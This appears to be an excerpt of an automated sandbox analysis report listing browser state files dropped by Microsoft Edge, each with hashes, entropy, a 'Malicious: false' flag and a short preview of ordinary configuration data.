Preview:	2024/11/13-08:41:23.568 1fa8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/13-08:41:23.569 1fa8 Recovering log #3.2024/11/13-08:41:23.570 1fa8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23a50.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23a5f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF23c15.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF262b7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF28fa3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF34ce8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37408.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a9fd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	56066
Entropy (8bit):	6.103083416218688
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynkPGWv/sxtws7VLyMV/YoskFoz:z/0+zI7ynwv/4KWVeZoskG
MD5:	BD060877907CF3ABC6E7DF72E1CDE648
SHA1:	5EE1F589C39D4C302AED84133AE815E85B622800
SHA-256:	C0B290FCAA9D847F968D13B3319B098C3AA254588029E80F45BD5DF315CED412
SHA-512:	BD6134B42C126D4E47948673B305405634FEED1CCC97739D01415438DCC28614F1B0FC95E69B6507045DD7C850422E7A7810C556242F600E44B0F1DFBA83A908
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
